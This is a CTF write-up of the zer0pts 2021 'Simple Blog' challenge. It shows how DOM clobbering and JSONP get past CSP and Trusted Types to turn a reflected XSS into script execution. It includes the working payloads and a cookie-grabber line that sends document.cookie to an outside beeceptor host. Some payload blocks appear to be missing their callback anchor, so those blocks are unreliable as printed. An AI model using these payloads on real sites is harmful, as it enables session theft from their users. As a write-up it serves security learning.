# zer0pts CTF 2021 – Simple Blog

* **Category:** web  
* **Points:** 192

## Challenge

> Now I am developing a blog service. I'm aware that there is a simple XSS.
> However, I introduced strong security mechanisms, named Content Security
> Policy and Trusted Types. So you cannot abuse the vulnerability in any
> modern browsers, including Firefox, right?  
>  
> http://web.ctf.zer0pts.com:8003/  
>  
> author:st98

## Solution

The challenge gives you an [attachment](https://github.com/m3ssap0/CTF-
Writeups/blob/master/zer0pts%20CTF%202021/Simple%20Blog/simple_blog_1bfee2f68d1fbeec74729e11cae31aab.tar.gz?raw=true)
containing the source code. The most important files are
[`index.php`](https://raw.githubusercontent.com/m3ssap0/CTF-
Writeups/master/zer0pts%20CTF%202021/Simple%20Blog/simple_blog/web/www/index.php)
and [`api.php`](https://raw.githubusercontent.com/m3ssap0/CTF-
Writeups/master/zer0pts%20CTF%202021/Simple%20Blog/simple_blog/web/www/api.php).

Analyzing the website, you can discover the following message under the
"Report Vulnerability" section.

> If you find a vulnerability in my blog platform, please report a Proof of
> Concept that exfiltrates document.cookie to me. I will check the URL with
> Mozilla Firefox later.  
>  
> I only accept reports under /index.php, so please submit only GET
> paremeters. For example, if the URL you want to submit is
> http://example.com/index.php?theme=light, please submit only theme=light
> part.

So, given this message and the challenge description, it's pretty obvious that
the target of the challenge is to exploit some sort of *Reflected XSS*.

The website allows the possibility to change the theme via a URL parameter.

Passing a value for the `theme` parameter will reflect the passed value in
some parts of the webpage.

```  
GET /?theme=foo HTTP/1.1  
Host: web.ctf.zer0pts.com:8003  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36  
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.9  
Accept-Encoding: gzip, deflate  
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7  
Connection: close

HTTP/1.1 200 OK  
Date: Sat, 06 Mar 2021 01:17:41 GMT  
Server: Apache/2.4.38 (Debian)  
X-Powered-By: PHP/7.4.13  
Vary: Accept-Encoding  
Content-Length: 2957  
Connection: close  
Content-Type: text/html; charset=UTF-8

<html lang="en">  
<head>  
<meta charset="utf-8">  
<title>Simple Blog</title>  
<meta http-equiv="Content-Security-Policy" content="default-src 'self';
object-src 'none'; base-uri 'none'; script-src 'nonce-
DZ5mzla/D4n5wZNlTB5qQwurzU4=' 'strict-dynamic'; require-trusted-types-for
'script'; trusted-types default">  
<link rel="stylesheet" href="/css/bootstrap-foo.min.css">  
<link rel="stylesheet" href="/css/style.css">  
</head>  
<body>  
<div class="container">  
<nav class="navbar navbar-expand-lg navbar-foo bg-foo">  
Simple Blog  

  

  * Report Vulnerability
  

  

  

  * Toggle theme
  

  
</nav>  
</div>  
<main class="container" id="main">  
<div class="spinner-border" id="loading">  
<span>Loading...</span>  
</div>  
</main>  
<script src="/js/trustedtypes.build.js" nonce="DZ5mzla/D4n5wZNlTB5qQwurzU4="
data-csp="require-trusted-types-for 'script'; trusted-types default"></script>  
<script nonce="DZ5mzla/D4n5wZNlTB5qQwurzU4=">  
// JSONP  
const jsonp = (url, callback) => {  
const s = document.createElement('script');

if (callback) {  
s.src = `${url}?callback=${callback}`;  
} else {  
s.src = url;  
}

document.body.appendChild(s);  
};

// render articles  
const render = articles => {  
const main = document.getElementById('main');  
const loading = document.getElementById('loading');

articles.sort((a, b) => a.id \- b.id);  
for (const article of articles) {  
const elm = document.createElement('article');  
elm.classList.add('blog-post');

const title = document.createElement('h2');  
title.innerHTML = article.title;  
elm.appendChild(title);

const content = document.createElement('p');  
content.innerHTML = article.content;  
elm.appendChild(content);

main.appendChild(elm);  
}

loading.remove();  
};

// initialize blog  
const init = () => {  
// try to register trusted types  
try {  
trustedTypes.createPolicy('default', {  
createHTML(url) {  
return url.replace(/[<>]/g, '');  
},  
createScriptURL(url) {  
if (url.includes('callback')) {  
throw new Error('custom callback is unimplemented');  
}

return url;  
}  
});  
} catch {  
if (!trustedTypes.defaultPolicy) {  
throw new Error('failed to register default policy');  
}  
}

// TODO: implement custom callback  
jsonp('/api.php', window.callback);  
};

init();  
</script>  
</body>  
</html>  
```

You can pass a `callback` parameter to the
[`api.php`](https://raw.githubusercontent.com/m3ssap0/CTF-
Writeups/master/zer0pts%20CTF%202021/Simple%20Blog/simple_blog/web/www/api.php)
endpoint and the method will be reflected into the output. The length limit is
20 chars.

```  
GET /api.php?callback=foo HTTP/1.1  
Host: web.ctf.zer0pts.com:8003  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36  
Accept: */*  
Referer: http://web.ctf.zer0pts.com:8003/  
Accept-Encoding: gzip, deflate  
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7  
Connection: close

HTTP/1.1 200 OK  
Date: Sat, 06 Mar 2021 01:08:52 GMT  
Server: Apache/2.4.38 (Debian)  
X-Powered-By: PHP/7.4.13  
Vary: Accept-Encoding  
Content-Length: 569  
Connection: close  
Content-Type: application/javascript

foo([{"id":1,"title":"Hello, world!","content":"Welcome to my blog
platform!"},{"id":2,"title":"Lorem ipsum","content":"Lorem ipsum dolor sit
amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore
et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation
ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor
in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla
pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui
officia deserunt mollit anim id est laborum."}])  
```

Theoretically, the following payload would give an XSS, but it is blocked by
the CSP.

```  
GET /?theme=dark.min.css"><script>alert()</script>< HTTP/1.1  
Host: web.ctf.zer0pts.com:8003  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36  
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.9  
Accept-Encoding: gzip, deflate  
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7  
Connection: close

HTTP/1.1 200 OK  
Date: Sat, 06 Mar 2021 01:19:19 GMT  
Server: Apache/2.4.38 (Debian)  
X-Powered-By: PHP/7.4.13  
Vary: Accept-Encoding  
Content-Length: 3065  
Connection: close  
Content-Type: text/html; charset=UTF-8

<html lang="en">  
<head>  
<meta charset="utf-8">  
<title>Simple Blog</title>  
<meta http-equiv="Content-Security-Policy" content="default-src 'self';
object-src 'none'; base-uri 'none'; script-src 'nonce-
gGLouNdYKt4a0tKHwIOwMDc9Giw=' 'strict-dynamic'; require-trusted-types-for
'script'; trusted-types default">  
<link rel="stylesheet" href="/css/bootstrap-
dark.min.css"><script>alert()</script><.min.css">  
<link rel="stylesheet" href="/css/style.css">  
</head>  
<body>  
<div class="container">  
<nav class="navbar navbar-expand-lg navbar-
dark.min.css"><script>alert()</script>< bg-
dark.min.css"><script>alert()</script><">  
Simple Blog  

  

  * Report Vulnerability
  

  

  

  * Toggle theme
  

  
</nav>  
</div>  
<main class="container" id="main">  
<div class="spinner-border" id="loading">  
<span>Loading...</span>  
</div>  
</main>  
<script src="/js/trustedtypes.build.js" nonce="gGLouNdYKt4a0tKHwIOwMDc9Giw="
data-csp="require-trusted-types-for 'script'; trusted-types default"></script>  
<script nonce="gGLouNdYKt4a0tKHwIOwMDc9Giw=">  
// JSONP  
const jsonp = (url, callback) => {  
const s = document.createElement('script');

if (callback) {  
s.src = `${url}?callback=${callback}`;  
} else {  
s.src = url;  
}

document.body.appendChild(s);  
};

// render articles  
const render = articles => {  
const main = document.getElementById('main');  
const loading = document.getElementById('loading');

articles.sort((a, b) => a.id \- b.id);  
for (const article of articles) {  
const elm = document.createElement('article');  
elm.classList.add('blog-post');

const title = document.createElement('h2');  
title.innerHTML = article.title;  
elm.appendChild(title);

const content = document.createElement('p');  
content.innerHTML = article.content;  
elm.appendChild(content);

main.appendChild(elm);  
}

loading.remove();  
};

// initialize blog  
const init = () => {  
// try to register trusted types  
try {  
trustedTypes.createPolicy('default', {  
createHTML(url) {  
return url.replace(/[<>]/g, '');  
},  
createScriptURL(url) {  
if (url.includes('callback')) {  
throw new Error('custom callback is unimplemented');  
}

return url;  
}  
});  
} catch {  
if (!trustedTypes.defaultPolicy) {  
throw new Error('failed to register default policy');  
}  
}

// TODO: implement custom callback  
jsonp('/api.php', window.callback);  
};

init();  
</script>  
</body>  
</html>  
```

The CSP is the following (defined in the `meta` tag of
[`index.php`](https://raw.githubusercontent.com/m3ssap0/CTF-
Writeups/master/zer0pts%20CTF%202021/Simple%20Blog/simple_blog/web/www/index.php))
and it can't be bypassed easily.

```  
default-src 'self'; object-src 'none'; base-uri 'none'; script-src 'nonce-
gGLouNdYKt4a0tKHwIOwMDc9Giw=' 'strict-dynamic'; require-trusted-types-for
'script'; trusted-types default  
```

First of all: you have to use Firefox for your testing phase, because the
admin will use that browser.

The most important part of
[`index.php`](https://raw.githubusercontent.com/m3ssap0/CTF-
Writeups/master/zer0pts%20CTF%202021/Simple%20Blog/simple_blog/web/www/index.php)
is the following JavaScript.

```javascript  
// JSONP  
const jsonp = (url, callback) => {  
const s = document.createElement('script');

if (callback) {  
s.src = `${url}?callback=${callback}`;  
} else {  
s.src = url;  
}

document.body.appendChild(s);  
};

// render articles  
const render = articles => {  
const main = document.getElementById('main');  
const loading = document.getElementById('loading');

articles.sort((a, b) => a.id \- b.id);  
for (const article of articles) {  
const elm = document.createElement('article');  
elm.classList.add('blog-post');

const title = document.createElement('h2');  
title.innerHTML = article.title;  
elm.appendChild(title);

const content = document.createElement('p');  
content.innerHTML = article.content;  
elm.appendChild(content);

main.appendChild(elm);  
}

loading.remove();  
};

// initialize blog  
const init = () => {  
// try to register trusted types  
try {  
trustedTypes.createPolicy('default', {  
createHTML(url) {  
return url.replace(/[<>]/g, '');  
},  
createScriptURL(url) {  
if (url.includes('callback')) {  
throw new Error('custom callback is unimplemented');  
}

return url;  
}  
});  
} catch {  
if (!trustedTypes.defaultPolicy) {  
throw new Error('failed to register default policy');  
}  
}

// TODO: implement custom callback  
jsonp('/api.php', window.callback);  
};

init();  
```

The process works as follow:  
1\. a [`trusted-types`](https://developer.mozilla.org/en-
US/docs/Web/HTTP/Headers/Content-Security-Policy/trusted-types) policy is
created;  
2\. the `jsonp` method is invoked;  
3\. the `jsonp` method calls
[`api.php`](https://raw.githubusercontent.com/m3ssap0/CTF-
Writeups/master/zer0pts%20CTF%202021/Simple%20Blog/simple_blog/web/www/api.php)
passing the content of `window.callback`, if specified;  
4\. [`api.php`](https://raw.githubusercontent.com/m3ssap0/CTF-
Writeups/master/zer0pts%20CTF%202021/Simple%20Blog/simple_blog/web/www/api.php)
returns a JavaScript snippet that will be included in the webpage and it will
be executed, because it is considered "safe" for all defined policies;  
5\. the default method that will be executed is the `render` one, that will
print blog posts into the page.

As a consequence, if it is possible to define `window.callback` you can
execute an arbitrary JavaScript payload.

This can be achieved with a technique called [*DOM
clobbering*](https://portswigger.net/web-security/dom-based/dom-clobbering).
With this technique, the `window.callback` can be the reference to an HTML
object with `id="callback"`, so a payload like the following can be used.

```  
GET /?theme=dark.min.css%22%3E%3Cdiv+id=%22callback%22%3Efoo%3C/div%3E%3C
HTTP/1.1  
Host: web.ctf.zer0pts.com:8003  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36  
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.9  
Accept-Encoding: gzip, deflate  
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7  
Connection: close

HTTP/1.1 200 OK  
Date: Sat, 06 Mar 2021 01:33:35 GMT  
Server: Apache/2.4.38 (Debian)  
X-Powered-By: PHP/7.4.13  
Vary: Accept-Encoding  
Content-Length: 3077  
Connection: close  
Content-Type: text/html; charset=UTF-8

<html lang="en">  
<head>  
<meta charset="utf-8">  
<title>Simple Blog</title>  
<meta http-equiv="Content-Security-Policy" content="default-src 'self';
object-src 'none'; base-uri 'none'; script-src 'nonce-
uA0mbXM3XN0qqrr9Ln1E26ka/tE=' 'strict-dynamic'; require-trusted-types-for
'script'; trusted-types default">  
<link rel="stylesheet" href="/css/bootstrap-dark.min.css"><div
id="callback">foo</div><.min.css">  
<link rel="stylesheet" href="/css/style.css">  
</head>  
<body>  
<div class="container">  
<nav class="navbar navbar-expand-lg navbar-dark.min.css"><div
id="callback">foo</div>< bg-dark.min.css"><div id="callback">foo</div><">  
Simple Blog  

  

  * Report Vulnerability
  

  

  

  * Toggle theme
  

  
</nav>  
</div>  
<main class="container" id="main">  
<div class="spinner-border" id="loading">  
<span>Loading...</span>  
</div>  
</main>  
<script src="/js/trustedtypes.build.js" nonce="uA0mbXM3XN0qqrr9Ln1E26ka/tE="
data-csp="require-trusted-types-for 'script'; trusted-types default"></script>  
<script nonce="uA0mbXM3XN0qqrr9Ln1E26ka/tE=">  
// JSONP  
const jsonp = (url, callback) => {  
const s = document.createElement('script');

if (callback) {  
s.src = `${url}?callback=${callback}`;  
} else {  
s.src = url;  
}

document.body.appendChild(s);  
};

// render articles  
const render = articles => {  
const main = document.getElementById('main');  
const loading = document.getElementById('loading');

articles.sort((a, b) => a.id \- b.id);  
for (const article of articles) {  
const elm = document.createElement('article');  
elm.classList.add('blog-post');

const title = document.createElement('h2');  
title.innerHTML = article.title;  
elm.appendChild(title);

const content = document.createElement('p');  
content.innerHTML = article.content;  
elm.appendChild(content);

main.appendChild(elm);  
}

loading.remove();  
};

// initialize blog  
const init = () => {  
// try to register trusted types  
try {  
trustedTypes.createPolicy('default', {  
createHTML(url) {  
return url.replace(/[<>]/g, '');  
},  
createScriptURL(url) {  
if (url.includes('callback')) {  
throw new Error('custom callback is unimplemented');  
}

return url;  
}  
});  
} catch {  
if (!trustedTypes.defaultPolicy) {  
throw new Error('failed to register default policy');  
}  
}

// TODO: implement custom callback  
jsonp('/api.php', window.callback);  
};

init();  
</script>  
</body>  
</html>  
```

But this will trigger the error: `custom callback is unimplemented`. That
happens because, in the CSP, there is the definition of `default` trusted type
which is defined in the `init()` JavaScript function in the page.

![custom_callback_error.png](https://raw.githubusercontent.com/m3ssap0/CTF-
Writeups/master/zer0pts%20CTF%202021/Simple%20Blog/custom_callback_error.png)

The *DOM clobbering* technique can help you again. Here some references that
can be useful to understand how it works:  
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)  
* [https://portswigger.net/research/dom-clobbering-strikes-back](https://portswigger.net/research/dom-clobbering-strikes-back)  
* [https://medium.com/@terjanq/dom-clobbering-techniques-8443547ebe94](https://medium.com/@terjanq/dom-clobbering-techniques-8443547ebe94)  
* [https://medium.com/@terjanq/clobbering-the-clobbered-vol-2-fb199ad7ec41](https://medium.com/@terjanq/clobbering-the-clobbered-vol-2-fb199ad7ec41)

The first step is to inject via *DOM clobbering* a `trustedType` object in
order to override the one provided by the library. An exception will be thrown
and the `catch` in the `init()` method will be reached. To bypass the `if`
clause inside the `catch`, it is sufficient to use again the *DOM clobbering*,
using a payload like the following.

```html  
dark.min.css"><form id=trustedTypes><output
id=defaultPolicy>true</output></form><"  
```

Now you can call the the api.php endpoint specifying a callback. A payload
like the following can give a basic XSS.

```html  
dark.min.css"><form id=trustedTypes><output
id=defaultPolicy>true</output></form><"  
```

Beacause the result request will be the following.

```  
GET /api.php?callback=//%0Aalert(); HTTP/1.1  
Host: web.ctf.zer0pts.com:8003  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101
Firefox/86.0  
Accept: */*  
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Connection: close  
Referer:
http://web.ctf.zer0pts.com:8003/?theme=dark.min.css%22%3E%3Cform%20id=trustedTypes%3E%3Coutput%20id=defaultPolicy%3Etrue%3C/output%3E%3C/form%3E%3Ca%20id=callback%20href=//%250Aalert();%3E%3C/a%3E%3C%22

HTTP/1.1 200 OK  
Date: Sat, 06 Mar 2021 14:03:22 GMT  
Server: Apache/2.4.38 (Debian)  
X-Powered-By: PHP/7.4.13  
Vary: Accept-Encoding  
Content-Length: 577  
Connection: close  
Content-Type: application/javascript

//  
alert();([{"id":1,"title":"Hello, world!","content":"Welcome to my blog
platform!"},{"id":2,"title":"Lorem ipsum","content":"Lorem ipsum dolor sit
amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore
et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation
ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor
in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla
pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui
officia deserunt mollit anim id est laborum."}])  
```

You can use `jsonp` method itself to perform cross-origin request, getting the
URL via *DOM clobbering* to bypass the maximum length.

```html  
dark.min.css"><form id=trustedTypes><output
id=defaultPolicy>true</output></form>.free.beeceptor.com/><"  
```

Analyzing the final webpage after the request, you can discover that with
`jsonp` method the response of the cross-origin call is included in the page
source and treated like an allowed JavaScript.

![remote_script.png](https://raw.githubusercontent.com/m3ssap0/CTF-
Writeups/master/zer0pts%20CTF%202021/Simple%20Blog/remote_script.png)

So you can create two endpoints:  
* `/evil/` that will be called by the `jsonp` method and will return a cookie grabber script;  
* `/cookie/` that will be called by the cookie grabber script to exfiltrate cookies.

The cookie grabber script is the following. You have to set `Content-Type:
application/javascript`.

```javascript  
document.location='https://<REDACTED>.free.beeceptor.com/cookie/'+btoa(document.cookie)  
```

So the final payload to submit is the following.

```html  
theme=dark.min.css"><form id=trustedTypes><output
id=defaultPolicy>true</output></form>.free.beeceptor.com/evil/><"  
```

Under the `/cookie/` endpoint you will find the base64 encoded cookies with
the flag.

![endpoints.png](https://raw.githubusercontent.com/m3ssap0/CTF-
Writeups/master/zer0pts%20CTF%202021/Simple%20Blog/endpoints.png)

```  
ZmxhZz16ZXIwcHRzezFfdzRudF90MF9lNHRfZDBtX2QwbV9oNG1idXJnZXJfczBtZWQ0eX0=  
```

Decoding it.

```  
flag=zer0pts{1_w4nt_t0_e4t_d0m_d0m_h4mburger_s0med4y}  
```

Original writeup (https://github.com/m3ssap0/CTF-
Writeups/blob/master/zer0pts%20CTF%202021/Simple%20Blog/README.md).